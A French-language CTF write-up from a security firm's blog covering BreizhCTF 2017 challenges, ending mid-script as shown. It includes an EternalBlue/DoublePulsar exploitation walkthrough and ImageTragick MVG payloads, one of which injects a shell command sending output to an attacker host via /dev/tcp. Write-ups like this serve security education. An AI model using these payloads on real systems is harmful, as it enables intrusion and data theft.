{"id":2983,"date":"2017-05-01T13:30:05","date_gmt":"2017-05-01T11:30:05","guid":{"rendered":"http:\/\/securite.intrinsec.com\/?p=2983"},"modified":"2017-05-01T13:30:05","modified_gmt":"2017-05-01T11:30:05","slug":"breizhctf-2017","status":"publish","type":"post","link":"https:\/\/www.intrinsec.com\/en\/breizhctf-2017\/","title":{"rendered":"BreizhCTF 2017"},"content":{"rendered":"<p>Cette ann\u00e9e encore nous avons eu le plaisir de rejoindre Rennes pour l&rsquo;\u00e9dition 2017 du <a href=\"http:\/\/www.breizhctf.com\/\">BreizhCTF<\/a>, toujours aussi bien organis\u00e9 par <a href=\"http:\/\/www.bdi.fr\/\">Bretagne D\u00e9veloppement Innovation<\/a>, <a href=\"https:\/\/twitter.com\/_SaxX_\">@SaxX<\/a> et <a href=\"https:\/\/twitter.com\/kaluche_\">@Kaluche<\/a> dans les locaux d&rsquo;<a href=\"http:\/\/www.epitech.eu\/ecole-informatique-rennes.aspx\">Epitech Rennes<\/a>.<\/p>\n<p>A l&rsquo;issue de la nuit, nous nous sommes class\u00e9s en 8\u00e8me place, mais avec la satisfaction d&rsquo;avoir r\u00e9solu presque toutes les \u00e9preuves.<img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-3046 size-full\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/05\/breizhctf17-10-e1493717833867.jpg\" alt=\"\" width=\"1040\" height=\"778\" \/>Bravo aux gagnants et merci aux organisateurs et sponsors !<\/p>\n<h1>Spy [realistic]<\/h1>\n<p><em>250 points | 49% de r\u00e9solution<\/em><\/p>\n<p>Une des \u00e9preuves identifi\u00e9e comme \u00ab\u00a0r\u00e9aliste\u00a0\u00bb, nous donnait pour unique instruction de v\u00e9rifier s&rsquo;il \u00e9tait possible de compromettre le serveur cible ayant pour adresse IP \u00ab\u00a010.119.227.111\u00a0\u00bb :<\/p>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-3003\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-1.png\" alt=\"\" width=\"464\" height=\"340\" \/><\/p>\n<p>Une premi\u00e8re phase d&rsquo;analyse des ports accessibles sur ce serveur a donc \u00e9t\u00e9 r\u00e9alis\u00e9e via l&rsquo;outil <em>nmap,<\/em> afin d&rsquo;identifier la surface d&rsquo;exposition de celui-ci :<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-3004\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-2.png\" alt=\"\" width=\"1122\" height=\"362\" \/><\/p>\n<p>L&rsquo;utilisation des scripts NSE nous r\u00e9v\u00e8le la version de Windows utilis\u00e9e :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3005\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-3.png\" alt=\"\" width=\"533\" height=\"208\" \/><\/p>\n<p>En recoupant ces informations avec le titre de l&rsquo;\u00e9preuve (SPY), nous savons que nous allons devoir utiliser les exploits Windows r\u00e9v\u00e9l\u00e9s ces derni\u00e8res semaines par les Shadow Brokers.<\/p>\n<p><strong>Note :<\/strong> Il est important de rappeler qu&rsquo;au vu du peu de retours concernant la composition de ces outils, nous ne pr\u00e9conisons pas leurs utilisations en dehors d&rsquo;un environnement de test cloisonn\u00e9.<\/p>\n<p>Apr\u00e8s avoir install\u00e9 les diff\u00e9rentes d\u00e9pendances n\u00e9cessaires, nous lan\u00e7ons le Framework d&rsquo;exploitation <em>FuzzBunch,<\/em> et plus pr\u00e9cis\u00e9ment le module <em>EternalBlue<\/em>, permettant d&rsquo;exploiter la vuln\u00e9rabilit\u00e9 MS17-010 sur le protocole SMB :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-3006 aligncenter\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-4.png\" alt=\"\" width=\"532\" height=\"559\" \/><\/p>\n<p>Une fois le module lanc\u00e9 en pr\u00e9cisant les diff\u00e9rents param\u00e8tres souhait\u00e9s, celui-ci installe une \u00ab\u00a0backdoor\u00a0\u00bb sur le poste (nous sommes sur la bonne voie :p).<\/p>\n<p>Nous g\u00e9n\u00e9rons alors une DLL au pr\u00e9alable via le Framework <em>Empire <\/em>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3007\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-5.png\" alt=\"\" width=\"601\" height=\"421\" \/><\/p>\n<p>L&rsquo;utilitaire \u00ab\u00a0<em>DoublePulsar<\/em>\u00a0\u00bb permet ensuite de charger cette DLL arbitraire sur le poste vuln\u00e9rable, en sp\u00e9cifiant le chemin complet vers celle-ci :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3008\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-6.png\" alt=\"\" width=\"441\" height=\"456\" \/><\/p>\n<p>Une fois l&rsquo;ensemble des informations v\u00e9rifi\u00e9, nous pouvons lancer l&rsquo;attaque :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3009\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-7.png\" alt=\"\" width=\"528\" height=\"276\" \/><\/p>\n<p>Un agent Empire est alors r\u00e9cup\u00e9r\u00e9 avec les droits \u00ab\u00a0NT SYSTEM\u00a0\u00bb (\\0\/) :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3010\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-8.png\" alt=\"\" width=\"1200\" height=\"306\" \/><\/p>\n<p>Afin de simplifier la suite du sc\u00e9nario d&rsquo;exploitation, nous cr\u00e9ons simplement un utilisateur local appartenant au groupe des administrateurs locaux du poste compromis :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3011\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-9.png\" alt=\"\" width=\"503\" height=\"473\" \/><\/p>\n<p>Il suffit alors de se connecter au service RDP pr\u00e9c\u00e9demment identifi\u00e9 via le compte Administrateur cr\u00e9\u00e9 :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3012\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-10.png\" alt=\"\" width=\"317\" height=\"226\" \/><\/p>\n<p>Et de parcourir les dossiers de l&rsquo;utilisateur \u00ab\u00a0NSA\u00a0\u00bb pour enfin acc\u00e9der au flag de l&rsquo;\u00e9preuve :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3013 size-full\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-spy-11-e1493572781357.png\" alt=\"\" width=\"642\" height=\"373\" \/><\/p>\n<p>Pour information, la majorit\u00e9 des vuln\u00e9rabilit\u00e9s r\u00e9v\u00e9l\u00e9es par les Shadow Brokers et impactant les syst\u00e8mes d&rsquo;exploitation Windows a \u00e9t\u00e9 corrig\u00e9e par Microsoft (cf. <a href=\"https:\/\/blogs.technet.microsoft.com\/msrc\/2017\/04\/14\/protecting-customers-and-evaluating-risk\/\">communication officielle<\/a>).<\/p>\n<p>Comme toujours, il convient donc d&rsquo;appliquer les derniers correctifs de s\u00e9curit\u00e9 disponibles afin de se pr\u00e9munir de ce type de sc\u00e9nario d&rsquo;exploitation.<\/p>\n<p>Enfin, le module Metasploit <a href=\"https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/smb\/smb_ms17_010\">auxiliary\/scanner\/smb\/smb_ms17_010<\/a> permet de v\u00e9rifier la pr\u00e9sence de la vuln\u00e9rabilit\u00e9 MS17-010, en v\u00e9rifiant les codes de retour lors des tentatives d&rsquo;acc\u00e8s au partage IPC$ et l&rsquo;envoi d&rsquo;une transaction sur l&rsquo;ID de fichier 0 (FID 0).<\/p>\n<h1>The Voting Machine [web]<\/h1>\n<p><em>175 points | 31% de r\u00e9solution<\/em><\/p>\n<p>Il s\u2019agit d\u2019une application Web simpliste avec seulement un formulaire qui propose de voter pour un pr\u00e9sident. Au-del\u00e0 des champs textuels classiques (nom, pr\u00e9nom\u2026) nous avons un upload d\u2019image.<\/p>\n<p>L\u2019application v\u00e9rifie que le fichier envoy\u00e9 porte bien une extension d\u2019image et l\u2019upload d\u2019une image invalide g\u00e9n\u00e8re une erreur 500 laissant supposer que l\u2019image est trait\u00e9e d\u2019une certaine mani\u00e8re. Sans indice sur l\u2019\u00e9ventuel stockage du fichier ni sur son emplacement, nous abandonnons la piste de l\u2019upload d\u2019un webshell et nous nous rappelons la fameuse vuln\u00e9rabilit\u00e9 <a href=\"https:\/\/imagetragick.com\/\">ImageTragick (CVE-2016\u20133714)<\/a>.<\/p>\n<p>Le site officiel nous donne des pistes de payloads int\u00e9ressants, nous confirmons la vuln\u00e9rabilit\u00e9 par le d\u00e9clenchement d\u2019une SSRF en direction de notre machine avec le fichier foo.mvg suivant (cette extension exotique \u00e9tait accept\u00e9e par l\u2019application Web, ce qui est suffisamment rare pour confirmer notre intuition) :<\/p>\n<pre class=\"prettyprint\">push graphic-context\nviewbox 0 0 640 480\nfill 'url(http:\/\/IP_ATTAQUANT\/)'\npop graphic-context\n<\/pre>\n<p>Nous nous sommes ensuite int\u00e9ress\u00e9s au payload plus int\u00e9ressant : celui permettant d\u2019ex\u00e9cuter des commandes arbitraires. Il est n\u00e9cessaire de charger une image avec \u00ab\u00a0https:\/\/\u00a0\u00bb pour d\u00e9clencher l&rsquo;injection de commande. Ici nul besoin d\u2019obtenir un <em>reverse shell<\/em> interactif, le fichier suivant \u00e9tait suffisamment pour recevoir sur notre port 80 le r\u00e9sultat de la commande <em>ls<\/em> :<\/p>\n<pre class=\"prettyprint\">push graphic-context\nviewbox 0 0 640 480\nfill 'url(https:\/\/IP_ATTAQUANT\"||\/bin\/bash -c \"ls &gt; \/dev\/tcp\/IP_ATTAQUANT\/80)'\npop graphic-context\n<\/pre>\n<p>Logiquement nous rep\u00e9rons un fichier flag.txt dans le r\u00e9pertoire courant et obtenons son contenu :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2987\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-4.png\" alt=\"\" width=\"502\" height=\"520\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2990\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-7.png\" alt=\"\" width=\"452\" height=\"108\" \/><\/p>\n<h1>Eddy Malou [web]<\/h1>\n<p><em>350 points | 57% de r\u00e9solution<\/em><\/p>\n<p>Cette application PHP simple permet de se connecter pour acc\u00e9der \u00e0 une liste de messages d\u00e9pos\u00e9s par les utilisateurs. Nous pouvons \u00e9galement d\u00e9poser notre message.<\/p>\n<p>Toutes ces actions sont d\u00e9clench\u00e9es par des requ\u00eates POST sur la racine du site avec un param\u00e8tre <em>action<\/em> et un param\u00e8tre <em>data.<\/em><\/p>\n<p>Une valeur invalide du param\u00e8tre <em>action<\/em> d\u00e9clenche une <em>ReflectionException<\/em> : le message d\u2019erreur indique sans ambig\u00fcit\u00e9 que la m\u00e9thode d\u2019introspection <em>getMethod<\/em> est appel\u00e9e sur l\u2019objet courant avec le param\u00e8tre pass\u00e9 :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2985\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-2.png\" alt=\"\" width=\"502\" height=\"425\" \/><\/p>\n<p>Nous pouvons donc appeler la m\u00e9thode de notre choix, reste \u00e0 d\u00e9couvrir la liste de ces m\u00e9thodes. Nous pensons alors \u00e0 la fonction magique <em>__toString<\/em> qui fonctionne \u00e0 merveille :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2991\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-8.png\" alt=\"\" width=\"400\" height=\"507\" \/><\/p>\n<p>Nous appelons donc la m\u00e9thode <em>set_access<\/em> pour devenir administrateur et nous voir offrir le flag (saluons au passage les tentatives d\u2019injections diverses de nos concurrents) :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2986\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-3.png\" alt=\"\" width=\"1004\" height=\"554\" \/><\/p>\n<h1>Shufflunatorz [web]<\/h1>\n<p><em>100 points | 63% de r\u00e9solution<\/em><\/p>\n<p>Cette application Web PHP nous propose de nous connecter en tant qu\u2019admin et nous divulgue m\u00eame son mot de passe, cependant l\u2019application nous donne les bonnes lettres mais dans le d\u00e9sordre <em>(shuffled)<\/em>, et les re-m\u00e9lange \u00e0 chaque soumission. Nous observons aussi la pr\u00e9sence d\u2019un jeton anti-rejeu qui change \u00e0 chaque fois.<\/p>\n<p>Nous g\u00e9n\u00e9rons en Python les 5040 combinaisons :<\/p>\n<pre class=\"prettyprint\">import itertools\n\nc = 'ecibopm'\nfor i in itertools.permutations(c, len(c)):\n    print(\"\".join(i))<\/pre>\n<p>Puis d\u00e9cidons de tester toutes les combinaisons sur l\u2019application. Pour ce faire nous utilisons Burp et le configurons pour extraire et reporter le jeton anti-rejeu d\u2019une requ\u00eate \u00e0 l\u2019autre, comme lorsque nous auditons une application comportant un jeton anti-CSRF.<\/p>\n<p>Apr\u00e8s un peu de patience (cette m\u00e9thode ne permettant pas la parall\u00e9lisation) nous sommes r\u00e9compens\u00e9s :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2992\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-9.png\" alt=\"\" width=\"680\" height=\"429\" \/><\/p>\n<h1>Cryptopat [crypto]<\/h1>\n<p><em>250 points | 9% de r\u00e9solution<\/em><\/p>\n<p><em>Nous avons r\u00e9ussi \u00e0 intercepter une conversation entre Alice et Bob sur un canal non s\u00e9curis\u00e9. Malheureusement, le message contenant les informations sensibles dont nous souhaitons r\u00e9cup\u00e9rer a \u00e9t\u00e9 chiffr\u00e9 par le biais du chiffrement asym\u00e9trique RSA.<\/em><\/p>\n<p><em>C&rsquo;est pour cela que nous engageons les meilleurs cryptanalystes qui seront r\u00e9compens\u00e9s par des points s&rsquo;ils parviennent \u00e0 nous retrouver partiellement ou l&rsquo;int\u00e9gralit\u00e9 des donn\u00e9es dont nous recherchons !<\/em><\/p>\n<p><em>Pour vous faciliter la t\u00e2che nous vous avons extrait chacun de ces messages et les avons class\u00e9s par ordre chronologique. (message1, puis message2 &#8230;). Nous avons \u00e9galement intercept\u00e9 deux cl\u00e9s publique en provenance d&rsquo;Alice. (d&rsquo;abord pubkey, ensuite pubkey2). Esp\u00e9rons que cela suffise pour que vous puissiez nous aider !<\/em><\/p>\n<p>Le challenge se pr\u00e9sente sous la forme d&rsquo;un archive contenant plusieurs fichiers : deux cl\u00e9s publiques, quatre messages d\u00e9chiffr\u00e9s et un message chiffr\u00e9.<\/p>\n<p>Les quatre messages contiennent l&rsquo;extrait d&rsquo;un \u00e9change entre Bob et Alice\u00a0:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3018\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-crypto-1.png\" alt=\"\" width=\"526\" height=\"252\" \/><\/p>\n<p>Trois informations importantes y sont pr\u00e9sent\u00e9es :<\/p>\n<ul>\n<li>La premi\u00e8re cl\u00e9 d&rsquo;Alice est vuln\u00e9rables \u00e0 l&rsquo;attaque de Wiener sur RSA ;<\/li>\n<li>La seconde cl\u00e9 utilise le m\u00eame exposant de chiffrement avec 15 bits de poids fort suppl\u00e9mentaires ;<\/li>\n<li>La premi\u00e8re moiti\u00e9 du flag est r\u00e9v\u00e9l\u00e9e dans les \u00e9changes !<\/li>\n<\/ul>\n<p>L&rsquo;objectif est donc d&rsquo;utiliser l&rsquo;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Wiener%27s_attack\">attaque de Wiener <\/a>sur la premi\u00e8re cl\u00e9 publique afin de r\u00e9cup\u00e9rer la cl\u00e9 priv\u00e9 correspondante, puis de bruteforcer la seconde cl\u00e9 priv\u00e9 \u00e0 l&rsquo;aide de la premi\u00e8re.<\/p>\n<p>Le challenge peut \u00eatre r\u00e9solu \u00e0 l\u2019aide d\u2019un script effectuant les actions suivantes :<\/p>\n<ul>\n<li>On effectue l&rsquo;attaque de Wiener afin de r\u00e9cup\u00e9rer l\u2019exposant priv\u00e9 correspondant \u00e0 la premi\u00e8re cl\u00e9 publique ;<\/li>\n<li>On valide que l&rsquo;exposant priv\u00e9 r\u00e9cup\u00e9r\u00e9 correspond bien \u00e0 la cl\u00e9 publique en d\u00e9chiffrant un message ;<\/li>\n<li>On it\u00e8re sur toutes les solutions possible pour les 15 bits suppl\u00e9mentaire en essayant de d\u00e9chiffrer un message pour trouver la seconde cl\u00e9 priv\u00e9e<\/li>\n<\/ul>\n<p>On peut alors utiliser la cl\u00e9 priv\u00e9e pour d\u00e9chiffrer la deuxi\u00e8me moiti\u00e9 du flag !<\/p>\n<p>Script :<\/p>\n<pre class=\"aLF-aPX-K0-aPE aLF-aPX-aLK-ayr-auR\">from sage.all import *\nfrom Crypto.PublicKey import RSA\nimport sys\n\ndef factor_rsa_wiener(N, e):\n    \"\"\"Wiener's attack: Factorize the RSA modulus N given the public exponents\n    e when d is small.\n    Source: https:\/\/crypto.stanford.edu\/~dabo\/papers\/RSA-survey.pdf\n    CTF: BKP CTF 2016 Bob's Hat\n    \"\"\"\n    N = Integer(N)\n    e = Integer(e)\n    cf = (e \/ N).continued_fraction().convergents()\n    for f in cf:\n        k = f.numer()\n        d = f.denom()\n        if k == 0:\n            continue\n        phi_N = ((e * d) - 1) \/ k\n        b = -(N - phi_N + 1)\n        dis = b ** 2 - 4 * N\n        if dis.sign() == 1:\n            dis_sqrt = sqrt(dis)\n            p = (-b + dis_sqrt) \/ 2\n            q = (-b - dis_sqrt) \/ 2\n            if p.is_integer() and q.is_integer() and (p * q) % N == 0:\n                p = p % N\n                q = q % N\n                if p &gt; q:\n                    return (p, q)\n                else:\n                    return (q, p)\n\n# some message for testing purpose\nm=123456\n\n# n and e extracted using : openssl rsa -pubin -inform PEM -text -noout &lt; alice_pubkey.pem\nn=0x009bcec30ed18fdab08e559be429dc408acca727a0bdb22eddae297e0fb41911f0a924bf4b111cef135a7766325639ed7b1de13a25938b86a5b02e5b382d258d42bbc6eb5078ed4a5a84f77e35de1f51d443e87870447770589f9e5d6f99846bbbd18a434d2954f4f36250c24bcafac21f63a183ddde7df3d9a8a715f790e965e0f25ec0052dc16f3164a4754b686f882a48f4400f6e5d9969344b3a62639dc00c2693288584248ec75bc7ca78ee80cb715c9bfc1a6bcf3dd876fea62387d17b3cb299fcd85d36b476d0ce386ca9696ae6f8cfba2e9d1080775bca26f96c7be917b6dd55cf94fa2ba806fd7eb8f8f64025de135ce9118a75735740128cfa0c8181\ne=0x7f46ebfb41c86b905b769810a7e817f61520de40c36362fc8e943767ca0b9bd054f29d44589edaa8aaaae505ed86d5aaee2258dc49f6aa894a3480b5af0c3ee0cce6bd4974ca746ca05e2216b69232d019c1c3a7bb44220b471ecb1874ca442574505ba2a64d15a0db11f439ff494915b9d1110af52705739f454a8fd587a8155cd8eabac3551a4e1d122370e5e3c509eb5a3c195308ed57201b1fe5076337a4f155fef88c82a1309523ab7325328169b690f120d8c3bdc864a95296806961a1d49b2f5c0bebca97629d5ffc85f2564045e771d7f1b47c01a2114e1ce845d498da0dadaee1cfee4ce6efb1130cca81931e412e39eec05b396619def75fbe818d\n\n\nprint(\"[~] Using Wiener attack to retrieve the private exponent\")\np,q = factor_rsa_wiener(n,e)\nprint(\"[+] Found p: %d\") % p\nprint(\"[+] Found q: %d\") % q\nprint(\"[~] Calculating the private exponent from previous p and q\")\nphi = (p - 1) * (q - 1)\nd = inverse_mod(e, phi)\n\nc = Mod(m, n) ** e\nif m != Mod(c, n) ** d:\n    print(\"[!] bad private key, exiting ...\")\n    sys.exit()\nelse:\n    print(\"[+] Found alice's old private exponent!\")\n\n# n and e extracted using : openssl rsa -pubin -inform PEM -text -noout &lt; alice_pubkeyi_2.pem\nn2=0x00a941561ee5f527dad47e8f82b5446afd825ac304a504db1cf9979a63c6a8bdeef56be3facda952676cc8269eae0b76d6132485eee9ae37b968f12a4d6a3ed11f0d7db68eb89e37340b5d458bcc58169c7bb145dc32040c976cba884386c98cb44f078897a317fe83ccf2b48dd397b059c465ed5a3c64a530865f7095532e6ecd8df9794fe24c07806848912f026de150c008acce9afae715f2e12927356a7e4d1184936f0e03bcc9b7eb557e91f46c9f8eb81125e38d7552e1345c09b639a69d6536c29d43ef66c23e9f85a0efef4784909b62d2a44af849a46c877e7118ab2622bf7c607b5f41a02853c5186196d88618c60a2e280ad387e8f729ed06f887fd\ne2=0x6cc7ffb92a9f4a6c8276082434f70efd4e4487c20540ebcd92c57a33b0204670721463f067e5819fb8d387887aeae7a6125055143fe105dfbeeb29598a8f27f0e1fb87b29e583032a1293511001915f70a6a59460f49daef5d943ac3c7f4a07f693669b5e13a73b3f23771f72321573fc80bc7c59e6f913ca3ccd83687920e621c652ea28339b43eed4b3938d8124af3407e64962bea01c3212071ab9b6c2a44271652c9d822d47aa3f1c45c7a0383c8716d8bb0607ce6662182f235083e8d365da15d6bfa119dede23756debb48c979ede370b915bca5430ae02b367de80d4246b6fff4c5ec75bde9209b022ea45bd14fba30a72c7b0f1c2e9dd707ea4c5cad\nprint(\"[~] Bruteforcing the new private exponent\")\nfound = False\nc = Mod(m, n2) ** e2\nfor i in range((2**15)+1):\n    j = i &lt;&lt; 511\n    d2 = d+j\n    if m == Mod(c, n2) ** d2:\n        print(\"[+] Private exponent found!\")\n        found = True\n        break\nif found:\n    print(\"[~] Generating PEM private key\")\n    key = RSA.construct((long(n2),long(e2),long(d2)))\n    print(key.exportKey())\nelse:\n    print(\"[!] No valid exponent found...\")<\/pre>\n<h1>GoGoGoBabyGo [crypto]<\/h1>\n<p><em>100 points | 63% de r\u00e9solution<\/em><\/p>\n<p>Il s\u2019agit d\u2019une \u00e9preuve de crypto cod\u00e9e en Go. Le code \u00e9tait fourni, t\u00e2che \u00e0 nous d\u2019identifier la cha\u00eene de d\u00e9part ayant men\u00e9 \u00e0 la cha\u00eene chiffr\u00e9e pr\u00e9sente dans le code.<\/p>\n<p>L\u2019algorithme de chiffrement plut\u00f4t simple est le suivant :<\/p>\n<pre class=\"prettyprint\">var init int = 0\nvar out string = \"\"\nvar value int\n\nfor i := 0; i &lt; len(myStr); i++ {\n    value = int(charCodeAt(myStr, i))\n    init ^= (value &lt;&lt; 2) ^ value\n    out  += string(init &amp; 0xff) \/\/ pas bon ce qui emmene au replace a patcher\n    init &gt;&gt;= 8\n}<\/pre>\n<p>Nous choisissons une approche brute-force : nous allons g\u00e9n\u00e9rer la cha\u00eene originale, en it\u00e9rant caract\u00e8re par caract\u00e8re pour obtenir un chiffr\u00e9 qui correspond \u00e0 celui qui est attendu. Voici le code \u00e9crit rapidement \u00e0 partir duquel nous sommes partis :<\/p>\n<pre class=\"prettyprint\">from binascii import unhexlify\nimport string\nfinal = unhexlify(\"4a1b506c33694e055f9605555550a4a5a54ad2d7227266226322e4afd2a0f0227de4224ebb9cb1a5d22250a5221ee49939224e22501e05227d22721111721e50a4a5a50455555088\")\ninput = \"BREIZHCTF{\"\nfor c in string.printable:\n    init = 0\n    out = \"\"\n    testfinal = input + c\n    for i in range(0, len(testfinal)):\n        value = int(ord(testfinal[i]))\n        init ^= (value &lt;&lt; 2) ^ value\n        out += chr(init &amp; 0xff)\n        init &gt;&gt;= 8\n    if out == final[:len(testfinal)]:\n        print testfinal<\/pre>\n<p>Le d\u00e9but du flag, stock\u00e9 dans <em>input,<\/em> nous \u00e9tait donn\u00e9 dans le script Go. La premi\u00e8re ex\u00e9cution du script nous permet de d\u00e9couvrir un caract\u00e8re suppl\u00e9mentaire, que nous reportons \u00e0 la fin de <em>input<\/em> avant de le relancer. Nous r\u00e9p\u00e9tons cette op\u00e9ration (qui aurait bien s\u00fbr pu \u00eatre impl\u00e9ment\u00e9e directement) quelques fois et obtenons enfin le flag qui correspond parfaitement \u00e0 ce qui \u00e9tait souhait\u00e9 :<\/p>\n<pre class=\"prettyprint\">input = \"BREIZHCTF{TDDE!!!Bon_OK_J_avoue_La_Crypto_Et_SaxX_C_EST_L_OPPOSE!!!TDDE}\"<\/pre>\n<h1>BreizhCTF Party ! [crypto]<\/h1>\n<p><em>100 points | 71% de r\u00e9solution<\/em><\/p>\n<p>Nous arrivons sur une page Web au fond color\u00e9 flashy avec un titre et un fragment de binaire, qui nous renvoie en 1 seconde sur une seconde page avec un fond color\u00e9 flashy diff\u00e9rent avec un autre fragment de binaire, ainsi de suite pour un total de 4 pages. Ce style stroboscopique flashy explique alors le sous-titre \u201cparty like it\u2019s 1997\u201d !<\/p>\n<p>Nous avons l\u2019intuition de <em>XOR<\/em> ces 4 fragments de binaire, octet par octet, avec ce script \u00e9crit rapidement :<\/p>\n<pre class=\"prettyprint\">import binascii\nimport sys\nn1 = int('0b0010001000101110001101110010100100111100001110000010111100001100001110000000011000001111001100000000000100011001001110010000100100100101',2)\nn2 = int('0b0100000101000010010000110100010001000101010001100100011101001000010010010100101001001011010011000100110101001110010011110101000001010001',2)\nn3 = int('0b0101000101011010010100110100010101000100010100100100011001010100010001110101100101001000010101010100101001001001010010110100111101001100',2)\nn4 = int('0b0101000001001100010011110100101101001001010010100101010101001000010110010100011101010100010001100101010001000110010100100100010001000101',2)\nn1 = binascii.unhexlify('%x' % n1)\nn2 = binascii.unhexlify('%x' % n2)\nn3 = binascii.unhexlify('%x' % n3)\nn4 = binascii.unhexlify('%x' % n4)\nfor i in range(0, len(n1)):\n    sys.stdout.write(chr(ord(n1[i]) ^ ord(n2[i]) ^ ord(n3[i]) ^ ord(n4[i])))<\/pre>\n<p>Et nous obtenons instantan\u00e9ment le flag : bzhctf{XoRXoRXoR}<\/p>\n<h1>Diffie Failman [crypto]<\/h1>\n<p><em>200 points | 49% de r\u00e9solution<\/em><\/p>\n<p>Le titre de cette \u00e9preuve de crypto annonce clairement la couleur : il s\u2019agit du protocole d\u2019\u00e9change de cl\u00e9s Diffie Hellman. Nous avons \u00e0 notre disposition un code-source Python, impl\u00e9mentant un client et un serveur, ainsi qu\u2019une capture r\u00e9seau <em>pcap<\/em> d\u2019un \u00e9change utilisant ce programme.<\/p>\n<p>La capture montre clairement l\u2019\u00e9change de deux grands entiers, puis ce qui ressemble \u00e0 un \u00e9change chiffr\u00e9 :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2988\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-5.png\" alt=\"\" width=\"653\" height=\"75\" \/><\/p>\n<p>Nous confirmons cette observation \u00e0 la lecture du code. En voici l\u2019extrait qui concerne le c\u00f4t\u00e9 serveur de cet \u00e9change :<\/p>\n<pre class=\"prettyprint\">shared = 65535\nprivate_key = randint(10 ** 24, 10 ** 32)\npublic_key = shared * private_key\ntry:\n    if is_server:\n        print(\"Start server\")\n        s.bind((server, 31337))\n        while True:\n            s.listen(5)\n            client, accept = s.accept()\n            pub = client.recv(128)\n            client.send(str(public_key))\n            intermediate = long(pub) * private_key\n            shared_secret = hashlib.sha256(str(intermediate).encode(\"utf-8\")).digest()\n            print(\"Key exchange completed\")\n            while True:\n                secret_message = client.recv(1024)\n                message = decrypt(secret_message, shared_secret)\n                print(\"&lt;&lt;&lt; %s\" % message)\n                message = raw_input(\"&gt;&gt;&gt; \")\n                secret_message = encrypt(message, shared_secret)\n                client.send(secret_message)<\/pre>\n<p>Le premier message du serveur sert \u00e0 envoyer au client, en clair, sa <em>public_key<\/em>, or il s\u2019agit du produit de <em>shared<\/em> et <em>private_key<\/em>. Nous connaissons <em>shared=65535<\/em> donc une simple division nous donne la <em>private_key <\/em>g\u00e9n\u00e9r\u00e9e al\u00e9atoirement : perdu !<\/p>\n<p>Les \u00e9changes sont chiffr\u00e9s avec <em>shared_secret<\/em> qui est le condensat SHA256 de <em>intermediate<\/em> qui vaut le produit de <em>private_key<\/em> (que nous savons deviner) et de <em>pub<\/em> qui est simplement la cl\u00e9 publique du client envoy\u00e9e en clair (que nous connaissons donc \u00e9galement).<\/p>\n<p>En conclusion, un attaquant en situation de Man-in-the-Middle et connaissant le secret partag\u00e9 cod\u00e9 en dur <em>shared=65535<\/em> aura tous les \u00e9l\u00e9ments pour calculer de son c\u00f4t\u00e9 la cl\u00e9 de chiffrement et d\u00e9chiffrer les messages.<\/p>\n<p>Pour preuve nous nous attaquons \u00e0 l&rsquo;\u00e9change chiffr\u00e9, avec ce court script largement copi\u00e9\/coll\u00e9 de celui qui \u00e9tait fourni, que nous appliquons sur les messages \u00e9chang\u00e9s jusqu\u2019\u00e0 parvenir au message qui contient le flag :<\/p>\n<pre class=\"prettyprint\">import hashlib\nfrom Crypto.Cipher import AES\nfrom binascii import unhexlify\nunpad = lambda 